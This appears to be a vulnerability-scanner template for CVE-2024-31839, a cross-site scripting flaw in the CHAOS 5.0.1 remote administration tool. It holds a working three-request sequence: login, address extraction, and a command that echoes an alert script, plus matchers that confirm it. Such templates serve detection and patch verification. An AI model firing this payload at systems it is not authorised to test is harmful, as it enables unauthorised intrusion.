CVE-2024-31839: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting

id: CVE-2024-31839

info:
  name: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting
  author: riteshs4hu
  severity: medium
  description: |
    Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
    - https://github.com/tiagorlampert/CHAOS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-31839
    cwe-id: CWE-79
    epss-score: 0.80189
    epss-percentile: 0.99064
    cpe: cpe:2.3:a:tiagorlampert:chaos:5.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: tiagorlampert
    product: chaos
  tags: cve,cve2024,chaos,tiagorlampert,xss,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------7531776718188184812862255877

        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="username"

        {{username}}
        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="password"

        {{password}}
        -----------------------------7531776718188184812862255877--

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: address
        regex:
          - 'href="/shell\?address=([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /command HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------424661958414611637671358243344

        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="address"

        {{url_decode(address)}}
        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="command"

        echo '<script>alert(document.domain)</script>'
        -----------------------------424661958414611637671358243344--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a004730450221008a57b11fd29b16b6dad7bd506d6ec3a6ae4f82c9a38ee9268f0aea581beb89f7022020f9620887b75d4344769c4a0bba88424eca8a0dc0c59cef8ab4b429a66aecb9:922c64590222798bb761d5b6d8e72950